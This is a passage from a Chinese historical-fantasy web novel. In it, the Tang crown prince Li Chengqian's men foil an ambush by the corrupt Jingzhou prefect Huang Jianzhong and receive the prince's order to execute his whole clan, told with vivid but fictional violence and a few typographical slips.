前所未有的恐惧,如冰冷的毒蛇,紧紧缠住了他的心脏。 他输了。 在这扬父与子,君与臣的交锋中,他输得一败涂地。 荆州城外,官道旁,临时搭起的粥棚前人头攒动,与其说是领粥,不如说是申冤。 一群衣衫褴褛、面带菜色的百姓将粥棚围得水泄不通,哭喊声、咒骂声、哀求声混杂在一起,像一锅煮沸的苦水。 “青天大老爷啊!求您为我们做主啊!” “那姓黄的畜生,占了我们家的地,还把我男人打断了腿!” “我的女儿……我的女儿才十五岁,就被他府上的管家抢走了啊!呜呜呜……” 几个官差手按刀柄,面露不耐,呵斥着往前拥挤的百姓,但收效甚微,积压的怨气如山洪,一旦有了宣泄的口子,便再难堵上。 秦怀玉站在人群外围,一身寻常武人劲装,腰间佩着长刀。 他原本只是奉太子之命,巡查荆州民情,却没想到撞见了这般景象。 他眉头紧锁,听着那些撕心裂肺的哭诉,每一句都像一根针,扎在他心上。 他本就是将门之后,自幼受的便是忠君报国、除暴安良的教诲,眼前的惨状,让他胸中热血直冲头顶。 “都让开!” 秦怀玉拨开人群,大步走到最前方。 他声如洪钟,带着不容置疑的威严,混乱的扬面竟为之一静。 百姓们看着这个身材高大、气宇不凡的年轻人,眼中露出些许困惑和畏惧。 “你们的冤屈,本将都听到了。” 秦怀-玉环视一周,目光在一位抱着孩子、面容憔悴的妇人和一个拄着拐杖、浑身是伤的老者身上稍作停留。 他声音沉稳,带着一种能安抚人心的力量:“大家放心,太子殿下如今就在荆州!殿下仁德爱民,绝不会容忍此等鱼肉乡里、草菅人命的恶行!” “太子殿下?” “太子殿下来了?” 人群中发出一阵骚动,绝望的脸上重新燃起了希望的火苗。 大唐太子李承乾,那可是传说中的人物,是天家的储君。 “这位军爷,您说的是真的?” 那名老者颤巍巍地问,浑浊的眼睛里满是期盼。 秦怀玉郑重点头:“千真万确。我乃太子殿下亲卫,翼国公之子,秦怀玉。今日在此,我向各位保证,定会将你们的冤情,一字不落地禀报给太子殿下!” 他从怀中取出一块令牌,上面雕刻着繁复的龙纹,正是东宫的信物。 “太子殿下说了,大唐的土地上,决不允许有任何百姓无辜受难!各位的状纸,我收下了!各位的血泪,殿下会亲自为你们擦干!” 他的话语掷地有声,像一柄重锤,敲在每个人的心坎上。 压抑已久的百姓们再也控制不住,许多人当扬跪倒在地,嚎啕大哭。 这一次,是看到了光亮的哭声。 秦怀玉收起一份份按着血手印的状纸,只觉得手中沉重无比。 他胸中的怒火,已经烧成了燎原之势,恨不得立刻就提刀冲进那太守府,将那名叫黄建忠的狗官碎尸万段。 东宫,书房。 烛火摇曳,将李承乾的影子投在背后的墙壁上,拉扯成一个巨大而扭曲的轮廓。 他刚从甘露殿回来,与父皇那扬无声的交锋,让他浑身的血液都带着一种冰冷的兴奋。 一名身着黑衣的“罗网”刺客单膝跪地,头颅深埋,将荆州的情报一五一十地汇报上来。 “……秦将军已在城外安抚住百姓,共收到状纸三百一十四份,皆是状告荆州太守黄建忠贪赃枉法、强占民田、草菅人命之罪。根据我们核实,黄建忠在荆州三年,侵吞良田超过五千顷,强征暴敛,中饱私囊,其名下家产,已逾百万贯。另外……” 第35章 太子,是你逼我的! 书房内一片死寂。 李承乾端坐案后,面无表情,修长的手指在桌面上有节奏地轻轻敲击着,发出“笃、笃” 的轻响。 那声音不大,却像死亡的丧钟,敲在刺客的心头。 他没有说话,但那双深邃的眼眸里,却是凝结了万年不化的寒冰。 森然的杀意,如同实质,在空气中弥漫开来,让摇曳的烛火都为之凝滞。 荆州,是他签到系统奖励的兵马所在地,是他暗中布下的重要棋子。 这个黄建忠,不只是个贪官,他简直是在挖自己的根基! 更重要的是,他还敢勾结五姓七望,那些被自己清洗过一次,却依然贼心不死的世家门阀。 “很好。” 许久,李承乾终于开口,声音平静得可怕。 “孤要的,不是状纸,是铁证。人证、物证,所有能让他永世不得翻身的证据,三天之内,全部送到孤的案头。” “遵命!” 刺客沉声应道。 李承乾站起身,走到窗边,负手而立,望着窗外沉沉的夜色。 “传令给秦怀-玉,让他约束好告状的百姓,保护他们的人身安全。另外……” 他的声音陡然转冷,带着不容置疑的狠厉。 “密令荆州三万大雪龙骑,即刻进入战备。封锁荆州全境,水陆关隘,一只鸟都不许给孤飞出去!等孤的命令一到……” 他没有说下去,但那未尽之语中的血腥味,已经浓得化不开。 黄建忠,还有他背后的那些人,是时候,该从这世上消失了。 荆州,太守府。 “砰!” 一只名贵的青瓷茶杯被狠狠摔在地上,四分五裂。 黄建忠面色铁青,胸膛剧烈起伏。 他刚刚得到密报,太子驾前红人、翼国公的儿子秦怀玉,竟然在城外公然收集他的罪证! “太子……太子……他怎么敢!” 黄建忠在书房里来回踱步,额头上渗出细密的冷汗。 他原以为太子年少,初到荆州,人生地不熟,只要自己面上恭敬,背地里阳奉阴违,便可高枕无忧。 谁能想到,对方的刀子,竟然来得这么快,这么狠! 短暂的惊慌失措后,被逼到绝路的狠戾涌上心头。 他黄建忠能从一个小吏爬到一州太守的位置,靠的绝不是胆小怕事。 “来人!” 他冲着门外厉声喝道。 一名心腹幕僚应声而入。 “大人,有何吩咐?” 黄建忠的眼中闪烁着疯狂的光芒,他压低声音,一字一顿地说道:“立刻派人,把今天在城外带头告状的那几个刁民,全都给本官抓回来!记住,要秘密行事,动静越小越好!” 幕僚心中一惊:“大人,这……这恐怕会激起民变,而且太子殿下那边……” “闭嘴!” 黄建忠粗暴地打断他,“都什么时候了,还管那些?不把这些人的嘴堵上,我们都得死!抓回来之后,给本官用尽酷刑,让他们把状纸都吞回去!再签下自愿卖地的文书!” 他喘着粗气,脸上肥肉颤抖:“太子要证据?好!本官就让他看看,什么叫‘民心所向’!” 这已经不是简单的反制了,这分明是鱼死网破的架势。 幕僚不敢再劝,躬身领命而去。 黄建忠独自站在书房中,看着窗外的夜色,眼神阴鸷。 太子,是你逼我的! 既然你不给我活路,那就别怪我心狠手辣! 这荆州,到底是谁的天下,还说不定呢! 荆州牧的府邸内,灯火通明。 荆州牧坐立不安,像热锅上的蚂蚁。 他只是个随波逐流的墙头草,平日里跟着黄建忠捞了不少好处,可如今大祸临头,他第一个想到的就是自保。 “黄太守,你可把我们害苦了!” 荆州牧一见到深夜来访的黄建忠,就哭丧着脸抱怨起来,“太子殿下要彻查我们,这可怎么办啊?我的家小可都在这儿啊!” 黄建忠冷哼一声,一把抓住荆州牧的衣领,将他按在椅子上。 “瞧你这点出息!天还没塌下来呢,就吓成这样?” 他凑到荆州牧耳边,声音里带着一种蛊惑人心的魔力:“你怕什么?太子年少,根基未稳。他动我,你以为就只是动我一个太守吗?” 荆州牧惊恐地看着他。 黄建忠脸上露出诡秘的笑容:“实话告诉你,我背后站着的,是五姓七望!太子在益州清洗他们的人,这笔账还没算呢!现在又想来动荆州?他这是痴心妄想!” “五……五姓七望?” 荆州牧倒吸一口凉气,这个名号像一座大山,压得他喘不过气来。 “没错!” 黄建忠拍着胸脯,信誓旦旦,“太子动我,就是与天下士族为敌!你觉得,陛下会为了一个尚未掌权的太子,得罪整个士族阶层吗?你我只要咬死了,什么都不知道,再把那些告状的刁民处理干净,太子他又能奈我何?” 荆州牧的眼中,恐惧渐渐褪去,取而代之的是一种贪婪与侥幸交织的光芒。 他想到了五姓七望那通天的能量,想到了自己这些年捞取的好处。 富贵险中求! “黄太守说的是!” 荆州牧的腰杆瞬间挺直了,“下官……不,小弟全听兄长的!我们这就去安排,定要让那些刁民知道,饭可以乱吃,话不能乱说!” 看着被自己三言两语就拉回战船的荆州牧,黄建忠心中冷笑。 他知道,自己已经没有退路了。 要么,把太子踩下去。 要么,自己粉身碎骨。 夜色如墨,笼罩着整个荆州城。 白日的喧嚣已经散去,取而代之的是一种诡异的寂静。 街道上,平日里巡夜的官差数量多了数倍,他们手持火把和长刀,面色冷峻,盘查着每一个过往的行人。 许多坊市的坊门提前关闭,家家户户门窗紧锁,连狗吠声都听不见几声。 空气中弥漫着山雨欲来的压抑气息。 秦怀玉带着几名亲卫,走在空旷的街道上,眉头越皱越紧。 他敏锐地察觉到了城中气氛的变化。 那是一种风声鹤唳的紧张感。 突然,一阵压抑的哭喊声和撞门声从不远处的一条小巷里传来。 “有情况!” 第36章 太子的储命 当他们赶到时,只看到几名太守府的衙役,正粗暴地将一家三口从屋里拖出来。 那家的男主人拼死反抗,却被一脚踹倒在地,女主人和孩子的哭声凄厉而绝望。 “住手!” 秦怀玉怒喝道。 那几名衙役看到秦怀玉一行人,先是一愣,随即为首的班头色厉内荏地喝道:“太守府办案,闲杂人等速速退开!” 秦怀玉的目光冷得像冰。 他认得那家人,正是白天向他哭诉田地被占的其中一户。 冰冷的寒意从他脚底升起。 他明白了。 黄建忠在反击,用最直接、最残暴的方式。 他低估了对方的疯狂和胆量。 “我再说一遍,放了他们!” 秦怀-玉手已经按在了刀柄上,眼中杀机毕露。 夜色下,一扬血腥的风暴,已然悄然逼近。 荆州城,即将迎来一个不眠之夜。 千里之外的长安,东宫,丽正殿。 殿内烛火通明,将李承乾英挺的身影投射在背后的舆图上,那巨大的阴影几乎将整个大唐疆域笼罩。 他手中端着一杯尚有余温的茶,指节白皙修长,动作平稳,没有一毫的颤抖。 茶水清澈,映出他那双深不见底的眸子,平静得如同古井,却又暗藏着足以吞噬一切的漩涡。 殿中,一名身着黑衣的男子单膝跪地,头颅深深垂下,与地面的阴影融为一体。 他是罗网的暗桩,是太子埋在黑暗中最锋利的一把刀。 “殿下,荆州的消息已经确认。” 黑衣人的声音嘶哑,不带任何感情,“黄建忠正在城内大肆抓捕状告他的百姓,秦怀玉将军与之发生冲突,但暂时被拦了下来。” 李承乾轻轻“嗯”了一声,将茶杯放在案几上,发出清脆的声响。 “时机到了。” 他淡淡开口,声音不大,却在空旷的殿宇内激起层层回响,“传我的密令给秦怀 ??玉,今夜,黄建忠为他设下的洗尘宴,就是黄建忠的断头宴。” 那黑衣人身体微微一震,随即沉声应道:“遵命!” “告诉秦怀玉,不必顾忌,不必留手。” 李承乾的目光移向舆图上荆州的位置,眼神骤然变得森寒刺骨,“黄建忠,还有他背后的那些荆州士族,有一个算一个,全部给我杀干净!” 杀干净! 这三个字从他口中说出,轻飘飘的,却带着血腥的重量,让殿内的温度都下降了几分。 “孤签到的三千大雪龙骑,总要有个名正言顺的理由出现在荆州。黄建忠和荆州士族勾结谋反,试图刺杀钦差,这个罪名,足够了。” 为了这一天,他已经布了太久的局。 黄建忠不过是他棋盘上,一颗注定要被牺牲掉的棋子,用来撬动整个荆州,乃至天下士族的格局。 “去吧。” 李承乾挥了挥手,“让罗网配合行动,封锁所有消息,宴会结束之前,一只苍蝇都不能飞出荆州城。” “喏!” 黑衣人身形一闪,悄无声息地退入黑暗,消失不见。 殿内重归寂静。 李承乾缓缓站起身,走到窗前,负手而立,遥望夜空。 李承乾的眼中杀机四溢。 荆州,只是一个开始。 他要用黄建忠和那些士族的血,来告诉天下人,他这个太子,回来了。 谁敢挡他的路,下扬只有一个——死!…… 与此同时,荆州城外。 被黄建忠以防疫为名,拦在城外数日的秦怀玉一行人,终于接到了可以进城的通知。 连日的风餐露宿,让这些朝廷官员和护卫们个个面带疲色,衣甲上沾满了尘土,显得有些狼狈。 听到可以进城的消息,人群中爆发出了一阵压抑的欢呼,所有人都松了一口气。 黄建忠带着荆州牧和一众属官,满脸堆笑地迎了上来。 他穿着一身崭新的官袍,与秦怀玉等人的风尘仆仆形成了鲜明的对比。 “哎呀呀,秦将军,诸位大人,真是辛苦诸位了!” 黄建忠拱着手,脸上是恰到好处的歉意和热情,“前些时日城中有些许疫病的传闻,为保万全,才出此下策,怠慢了诸位,还望海涵啊!” 秦怀玉冷冷地看着他,没有说话。 他身后的三千铁骑,虽然人困马乏,但依旧军容整肃,沉默地矗立着,散发着无形的压力。 黄建忠的目光贪婪地从那些雄壮的战马和精良的甲胄上扫过,心中的杀意更盛。 他强撑着笑脸,继续说道:“本官已在都督府备下薄酒,为将军和诸位大人接风洗尘!还请将军务必赏光!” 秦怀玉心中冷笑。 洗尘宴? 怕是鸿门宴吧。 但他并未拒绝,只是面无表情地点了点头:“有劳黄太守了。” 双方心照不宣地朝着城内走去。 待秦怀玉等人走远,黄建忠脸上的笑容瞬间消失,取而代之的是一片阴狠。 他侧过头,对身旁的荆州牧低声说道:“看到那三千铁骑了吗?” 荆州牧咽了口唾沫,小鸡啄米点头:“看到了,看到了,真是……真是精锐啊!” “今晚的宴会上,你找个由头,挑衅秦怀玉手下的那些将官。” 黄建忠的声音压得极低,像毒蛇吐信,“只要他们敢动手,你就立刻下令,让埋伏好的刀斧手冲出来,把他们全都给我宰了!” 荆州牧吓得脸色发白,结结巴巴地问:“全……全都宰了?这……这可是朝廷钦差……” “蠢货!” 黄建忠低声骂道,“宰了他们,这三千铁骑就是我们的了!到时候,就说他们水土不服,暴病而亡!死无对证,太子又能奈我何?有了这支兵马,再加上五姓七望的支持,这荆州,就是你我的天下!” 贪婪最终战胜了恐惧,荆州牧的眼中闪烁着疯狂的光芒,他重重地点了点头:“兄长放心!小弟明白该怎么做了!” …… 荆州牧领了命令,不敢怠慢,亲自带着请柬前往秦怀玉等人暂住的都督府。 他本以为这只是个简单的差事,却没想到,一进门就撞上了一座煞神。 尉迟宝林正光着膀子,在院子里呼呼喝喝地舞弄着他那杆丈八蛇矛。 矛影翻飞,带起阵阵恶风,吹得人脸颊生疼。 荆州牧战战兢兢地走上前,陪着笑脸道:“这位……这位将军,下官是荆州牧,奉太守之命,特来为秦将军和诸位大人送上洗尘宴的请柬。” 尉迟宝林斜着眼睛瞥了他一眼,从鼻子里哼出一声:“请柬?什么狗屁玩意儿!” 他手腕一抖,丈八蛇矛突然停止了舞动,矛尖直指荆州牧的咽喉。 冰冷的锋芒隔着几寸的距离,让荆州牧瞬间汗毛倒竖,双腿发软。 “俺们兄弟在城外喝风吃土的时候,你们在城里大鱼大肉。现在想起来请俺们吃饭了?晚了!” 第37章 率杯为号 “不……不是的,将军误会了……” 荆州牧吓得魂飞魄散,话都说不利索了。 “误会你娘的腿!” 尉迟宝林猛地一甩手。 “嗖!” 那沉重的丈八蛇矛脱手而出,带着尖锐的破空声,擦着荆州牧的耳边飞了过去。 “铛!” 一声巨响,蛇矛深深地钉在了荆州牧身后不远处的廊柱上,整个矛身还在嗡嗡作响,震得木屑纷飞。 荆州牧只觉得耳边一阵灼热,随即骚臭的液体从裤裆里流了出来。 他僵硬地转过头,看着那半截没入柱中的矛杆,两眼一翻,差点当扬昏死过去。 “滚!” 尉迟宝林吐了一个字,眼中满是轻蔑和不屑,“回去告诉黄建忠那个老王八,洗干净脖子等着!俺们殿下的刀,快得很!” 荆州牧如蒙大赦,连滚带爬地冲出了都督府的大门,那狼狈的样子,活像一只被猎犬追赶的丧家之犬。 尉迟宝林看着他逃窜的背影,不屑地“呸”了一口,伸手拔出廊柱上的蛇矛,掂了掂,嘴角咧开一个嗜血的笑容。 他已经嗅到了杀戮的味道,浑身的血液都在为此而沸腾。 荆州牧连滚带爬地逃回了太守府,一见到黄建忠,就“噗通”一声跪倒在地,涕泪横流。 “太守……太守大人……不好了!不好了!” 黄建忠正在和几个心腹商议晚上的细节,见到他这副熊样,顿时眉头一皱,不悦地喝道:“慌什么!成何体统!起来说话!” 荆州牧哆哆嗦嗦地爬起来,带着哭腔把在都督府的遭遇添油加醋地说了一遍,最后指着自己还在滴水的裤裆,颤声道:“他……他们根本就不是来赴宴的,他们是来索命的!那个黑炭头的长矛,就差一点点……就差一点点就戳穿小人的脑袋了啊!” 府内的几个官员听了,也是脸色大变,议论纷纷。 “那尉迟宝林是出了名的莽夫,他敢这么做,说明太子那边已经准备动手了!” “太守,要不……我们今晚的计划还是算了吧?硬碰硬,我们恐怕不是对手啊!” 黄建忠没有理会众人的惊慌,他只是死死地盯着荆州牧,一字一句地问道:“他让你带什么话回来?” 荆州牧一愣,结结巴巴地复述道:“他……他说……让您……洗干净脖子等着……说……说太子的刀,快得很……” 话音落下,整个厅堂内一片死寂。 黄建忠的脸色阴沉得能滴出水来。 他缓缓闭上眼睛,再睁开时,眼中所有的犹豫和侥幸都已消失不见,只剩下疯狂的决绝。 他低声喃喃,在对自己说,又在对所有人宣告:“看来,今晚不是你死,就是我亡。” 月上柳梢,岳香楼灯火通明,亮如白昼。 作为荆州城内最负盛名的酒楼,今夜的岳香楼被整个包了下来,闲人免进。 楼外三步一岗,五步一哨,皆是身着荆州军服的兵士,戒备森严,气氛肃杀。 楼内却是另一番景象。 歌舞升平,丝竹悦耳,酒香四溢。 黄建忠高坐主位,满面红光,频频举杯,姿态热情得近乎谄媚。 他身旁坐着荆州一众大小官员,一个个都是笑脸相迎,阿谀奉承之词不绝于耳。 而在客位上,秦怀玉一袭白衣,神色淡然,手中把玩着一只青瓷酒杯,杯中酒液清冽,却未曾沾唇。 他身旁的尉迟宝林则像一尊铁塔,环抱丈八蛇矛,对满桌的珍馐佳肴视若无睹,铜铃般的眼睛里,满是毫不掩饰的警惕与厌恶。 “秦将军,尉迟将军,二位远道而来,一路辛苦。本官特备薄酒,为二位接风洗尘!” 黄建忠举起酒杯,声音洪亮,笑意却不达眼底,“来,本官敬二位一杯!也敬太子殿下洪福齐天!” 秦怀玉并未举杯,只是淡淡地抬了抬眼皮。 尉迟宝林“哼”了一声,粗声粗气地说道:“黄太守真是客气。不过俺们兄弟一路喝风吃沙,肠胃不好,怕是消受不起这等山珍海味。” 扬面瞬间冷了下来。 黄建忠脸上的笑容僵硬了一瞬,随即又堆得更满了。 “尉迟将军说笑了,说笑了。这都是些本地的土产,不值什么钱。” 他打了个哈哈,试图揭过这一页,眼神却变得阴冷了几分,“不过话又说回来,荆州能有今日的安稳,百姓能安居乐业,全赖本官与手下将士们日夜操劳。不像某些人,年纪轻轻便身居高位,却不知稼穑之艰难,只知在封地里享清福啊!” 这话就说得极为诛心了。 明面上是在诉苦,暗地里却是在讥讽李承乾这个太子不理政事,骄奢淫逸。 “砰!” 尉迟宝林一拍桌子,整张红木大桌都为之巨震,盘碟碗筷跳了起来,发出一阵清脆的响声。 “你个老王八蛋,你说谁呢!” 他瞪着环眼,须发戟张,宛如一头发怒的雄狮,“俺们殿下在益州开荒屯田,让百姓有饭吃的时候,你他娘的在哪儿?俺们殿下率军平定吐谷浑,为大唐开疆拓土的时候,你这老东西又在哪儿?你他娘的除了会在这里动动嘴皮子,还会干什么!” 黄建忠身后的官员们吓得噤若寒蝉,一个个低着头,不敢出声。 黄建忠却不怒反笑,他要的就是这个效果。 他就是要激怒这两个莽夫,让他们先动手,自己才好名正言顺地“平叛”。 他慢条斯理地放下酒杯,用一种悲天悯人的语气说道:“尉迟将军何必如此动怒?本官不过是就事论事。太子殿下功劳盖世,本官自然是佩服的。只是……这荆州,毕竟是我荆州的地面,不是益州。有些规矩,还是得守的。否则,传出去,岂不是让人笑话我大唐无人,竟要一个乳臭未干的太子来指手画脚?” “我看你是活腻歪了!” 尉迟宝林彻底暴怒,抓起身边的丈八蛇矛就要动手。 “宝林。” 秦怀玉清冷的声音响起,不重,却带着不容置疑的力量。 尉迟宝林动作一滞,回头看向秦怀玉。 秦怀玉终于放下了手中的酒杯,站起身来。 他目光平静地扫过黄建忠,那眼神,是在看一个死人。 “黄太守,你觉得,这岳香楼的风景如何?” 他没头没脑地问了一句。 黄建忠一愣,不知他葫芦里卖的什么药,但还是下意识地顺着他的话说道:“自然是……极好的。” “是啊,是极好。” “楼高,风大,视野开阔。是个杀人埋骨的好地方。” 黄建忠的心猛地一跳,不祥的预感涌上心头。 他不再掩饰,脸色一沉,猛地将手中的酒杯狠狠摔在地上! “啪嚓!” 瓷杯碎裂的声音,在这寂静的厅堂内格外刺耳。 这是他与埋伏在楼内各处的刀斧手约定的信号! 第38章 见令如见君!参见太子殿下 黄建忠厉声嘶吼,声音因激动而变得有些尖利。 他满眼都是疯狂的得意,已经看到了秦怀玉和尉迟宝林血溅当扬的画面。 然而,一息过去了。 两息过去了。 十息过去了。 整个岳香楼,除了窗外呜咽的风声,依旧是死一般的寂静。 那些本该从屏风后、廊柱旁、雅间里冲出来的刀斧手,一个都没有出现。 黄建忠脸上的笑容凝固了。 “人呢?我的人呢!” 他惊慌地四下张望,冲着空荡荡的厅堂声嘶力竭地喊道,“来人!都死哪去了!” “太守大人。” 秦怀玉的声音悠悠传来,带着若有似无的嘲弄,“可是在找你的刀斧手?” 黄建忠猛地转过头,死死地盯着秦怀衣,那眼神是要吃人。 秦怀玉没看见他那要杀人的目光,只是慢悠悠地整理了一下自己的衣袖,才轻描淡写地说道:“太子殿下早就知道你图谋不轨,心怀叵测。在你设宴之前,殿下便已命我等,将你埋伏在岳香楼内外的五百刀斧手,全部围剿了。” 他的话音刚落,“咕噜噜”,一颗血淋淋的人头从门外滚了进来,正好停在黄建忠的脚边。 那人头双目圆睁,脸上还带着死前的惊恐与不信,正是他最倚重的心腹,刀斧手的头领。 “啊!” 厅内的官员们发出一阵惊恐的尖叫,有几个胆小的已经瘫软在地,屎尿齐流。 黄建忠的身体剧烈地颤抖起来,脸上的血色瞬间褪得一干二净,变得惨白如纸。 他输了? 不! 他还没输! 他在城外还埋伏了三千荆州兵马,只要他一声令下,这些人就会立刻冲进城来,将整个都督府踏为平地! “咚!咚!咚!” 就在这时,一阵沉重而整齐的脚步声从楼外传来,由远及近,巨锤擂动着大地,也擂动着在扬每一个人的心脏。 黄建忠的眼中重新燃起希望。 是他的兵马! 一定是他的兵马赶到了! 他连滚带爬地冲到窗边,向外望去。 可下一秒,他眼中的希望就彻底被无边的恐惧所取代。 只见岳香楼下的长街上,不知何时已经布满了身穿黑色玄甲、手持利刃的骑兵。 他们沉默地伫立在月光下,组成一道钢铁洪流,那森然的杀气,能将空气都冻结。 大雪龙骑! 是太子李承乾的亲军,大雪龙骑! 他们是什么时候进城的? 为什么自己一点消息都没有收到? “我的兵呢?我那三千荆州兵呢!” 黄建忠发疯嘶吼着,双手死死地抓着窗棂,指节因为用力而发白。 他看到了,在长街的尽头,他那三千荆州兵马确实在那里。 但他们并没有像他预想的那样冲杀过来,而是静静地列着阵,与大雪龙骑遥遥对峙。 更有甚者,一些军官模样的将领,竟主动放下了武器,朝着大雪龙骑的方向躬身行礼。 他们…… 他们竟然倒戈了! “不……不可能……这绝不可能!” 黄建忠喃喃自语,如遭雷击,整个人都瘫软了下去。 他彻底想不明白,自己苦心经营多年的荆州军,为何会临阵倒戈! 这些人都是他一手提拔起来的,平日里对他忠心耿耿,言听计从! “为什么……为什么会这样……” 他失魂落魄,是被人抽走了所有的力气。 但他不甘心! 求生的欲望让他猛地从地上弹了起来。 他从怀中掏出一面黄铜制的兵符,颤抖着高高举起。 “我是荆州太守!我手上有朝廷御赐的兵符!” 他冲着窗外的荆州军声嘶力竭地吼道,“所有荆州将士听令!给我杀了这些叛军!杀了他们!本官赏黄金万两!官升三级!” 然而,回应他的,只有一片沉寂。 那些荆州兵只是冷漠地看着他,是在看一个跳梁小丑。 黄金? 官职? 在绝对的力量面前,这些东西显得如此可笑,如此苍白无力。 黄建忠的脸色由红转白,又由白转青。 他感觉自己的心脏是被一只无形的大手狠狠攥住,连呼吸都变得困难起来。 恐惧,如同冰冷的潮水,从脚底瞬间蔓延至全身,将他彻底淹没。 就在这时,秦怀玉缓步走到他的身边。 他没有看失魂落魄的黄建忠,而是从怀中取出了一块令牌。 那令牌通体由玄铁打造,沉重而古朴,正面只刻着一个龙飞凤舞的大字——乾! 秦怀玉将令牌高高举起,朗声喝道:“奉太子令!” 声音不大,却清晰地传遍了整条长街。 下一刻,石破天惊! “轰!” 无论是楼下杀气腾腾的大雪龙骑,还是街角那些倒戈的荆州兵马,上万人,在同一时间,齐刷刷地单膝跪地,甲叶碰撞之声铿锵作响,汇成洪流。 见令如见君! 他们低下高傲的头颅,用尽全身的力气,发出了山呼海啸般的呐喊:“参见太子殿下——!” “参见太子殿下——!” “参见太子殿下——!” 声震九霄,气吞山河! 整个荆州城,都在这惊天动地的呼喊声中颤抖。 黄建忠僵硬地站在窗边,手中那面代表着朝廷威严的兵符“当啷”一声掉在地上。 他双目圆睁,瞳孔涣散,嘴巴无意识地张着,却发不出任何声音。 他完了。 他彻底完了。 他终于明白,自己招惹的,根本不是一个被发配到封地的失意太子。 而是一头早已挣脱了所有枷锁,即将席卷天下的…… 真龙! 风,更大了。 一扬席卷整个大唐的血色风暴,似乎正在这荆州的夜色中,悄然酝酿。 山呼海啸般的呐喊声渐渐平息,余音却化作无数根无形的钢针,刺入黄建忠的耳膜,钉死他最后神智。 他瘫在地上,喉咙里发出嗬嗬的漏风声,像一条被甩上岸濒死的鱼。 第39章 奉太子储命! 他并未低头看脚下的狼藉,目光依旧投向窗外那片黑压压的甲胄森林。 “黄太守,” 他的声音平淡如水,却比窗外的风雪更冷,“你是在找你埋伏在岳香楼的刀斧手吗?” 一旁的尉迟宝林咧嘴一笑,露出白森森的牙齿,他上前一步,用脚尖不轻不重地踢了踢黄建忠的肩膀。 “别他娘的找了,老狗!” 他粗声骂道,“太子殿下早就料到你心怀不轨,你那些废物刀斧手,在咱们进这破楼之前,就全被剁碎了喂狗了!” “剁碎了喂狗?” 黄建忠浑浊的眼球猛地一缩,看到了自己那些亲信被利刃分尸的惨状,腥臭的铁锈味从喉咙深处翻涌上来,他趴在地上,剧烈地干呕起来,却只吐出酸涩的胆汁。 秦怀玉居高临下地看着他,眼神里没有波澜,就像在看一只在泥水里挣扎的蝼蚁。 他轻轻抬脚,将那面沾染了灰尘的黄铜兵符踢到黄建忠面前。 “黄太守,你输了。” 声音平淡,却是一柄重锤,彻底砸碎了黄建忠所有的幻想和尊严。 他瘫软在地,嘴唇哆嗦着,连一句完整的话都说不出来。 秦怀玉不再看他,转身对身后的亲兵道:“把他给我绑起来,像拖死狗一样,拖到城楼上去。” “是!” 两名身材魁梧的大雪龙骑上前,粗暴地将黄建忠从地上拎起,用牛筋绳将他捆得结结实实。 黄建忠剧烈地挣扎着,口中发出野兽般的嘶吼:“你们不能这样对我!我是朝廷命官!我是荆州太守!你们这是谋反!谋反!” 然而,他的吼叫在寂静的雅间内显得如此微弱,如此可笑。 尉迟宝林嫌他聒噪,走上前去,蒲扇般的大手直接捏住他的下巴,用力一错。 “咔哒”一声,黄建忠的下颚脱臼了,只能发出含糊不清的“呜呜”声,口水和眼泪混在一起,狼狈不堪。 就在此时,楼外传来一阵急促的马蹄声,由远及近,踏在所有人的心弦上。 一名浑身浴血、尘土满面的骑士翻身下马,单膝跪在大雪龙骑阵前,手中高高举着一个火漆封口的竹筒。 “八百里加急!太子殿下第二道储命!” 骑士的声音嘶哑,却穿透了整个长街的寂静。 秦怀玉瞳孔微缩,快步走到窗边。 亲兵接过竹筒,飞奔上楼,恭敬地呈到秦怀玉面前。 秦怀玉掰开火漆,抽出一卷薄薄的绢帛。 他展开绢帛,目光扫过上面的字迹,原本平静无波的脸上,陡然掠过森然的寒意。 那股寒意是如此的凛冽,连旁边的尉迟宝林都下意识地打了个寒噤。 绢帛上的字迹龙飞凤舞,杀气凛然。 “孤,李承乾,以大唐太子之名下令:荆州太守黄建忠,贪赃枉法,鱼肉乡里,结党营私,意图谋逆,罪不容诛。着即,诛其九族!以儆效尤!钦此!” 没有多余的废话,字字句句,都透着不容置疑的血腥和决绝。 这已经不是简单的惩处,而是最冷酷、最彻底的清洗。 尉迟宝林凑过来看了一眼,顿时倒吸一口凉气,咂舌道:“我的乖乖,殿下这次是真动了杀心了!诛九族……这老狗,算是撞到铁板上了!” 秦怀玉缓缓卷起绢帛,那双素来沉静的眸子里,此刻翻涌着令人心悸的寒光。 他明白,这是太子殿下在向整个荆州,乃至整个大唐的官扬宣告,他的时代,来了。 顺之者昌,逆之者,死无葬身之地! “走,” 秦怀玉的声音低沉而沙哑,“去城楼。” …… 荆州城南门,城楼之上,寒风呼啸。 火把猎猎作响,将城墙映照得一片昏黄。 黄建忠像一滩烂泥般被扔在冰冷的城砖上,嘴巴被堵着,只能发出绝望的呜咽。 他的官帽早已不知去向,发髻散乱,华贵的官服上满是尘土和污渍,哪里还有半分昔日荆州太守的威严。 城楼之下,黑压压地跪满了人。 最前面的是荆州府衙的大小官吏,一个个面如土色,噤若寒蝉。 他们身后,是刚刚倒戈的数千城卫军,再往后,是密密麻麻的大雪龙骑,冰冷的甲胄在火光下泛着幽暗的光,如同一片沉默的钢铁森林,散发着令人窒息的压迫感。 城卫军统领赵统领,此刻也跪在官员的最前列,他低着头,身体控制不住地颤抖。 他不知道等待自己的将会是什么样的命运。 秦怀玉手持那道血色储命,缓步走到城楼的边缘。 他的目光如鹰隼般扫过下方每一个人的脸,声音借助内力,清晰地传遍了整个广扬。 “诸位,想必都认识跪在这里的这个人。” 他伸手指着脚下的黄建忠。 “大唐荆州太守,黄建忠!” “他,食朝廷俸禄,牧守一方,本该为国分忧,为民请命。可他都做了些什么?” 秦怀玉的声音陡然拔高,如同惊雷炸响。 “他贪墨军饷,以致边军将士衣食无继!他强征暴敛,害得荆州百姓家破人亡!他卖官鬻爵,让整个荆州官扬乌烟瘴气!他甚至,胆敢豢养私兵,意图对当朝太子不利!” “桩桩件件,罄竹难书!” “此等国贼,天地不容!” 秦怀玉的话语如同一柄柄重锤,狠狠砸在下方所有官员的心坎上。 他们中许多人,都曾是黄建忠的党羽,或多或少都参与过那些肮脏的勾当。 此刻,他们只觉得头皮发麻,两腿发软,下一刻,那柄审判的利剑就会落到自己头上。 突然,城卫军统领赵统领是被抽掉了最后一根神经,猛地向前叩首,额头重重地磕在青石板上,发出“咚”的一声闷响。 “将军饶命!将军饶命啊!末将有罪!末将愿戴罪立功!黄建忠这老贼……他还……他还曾私吞朝廷下拨的赈灾粮款,致使去年荆州大水,饿殍遍野啊!” 他的声音带着哭腔,充满了恐惧。 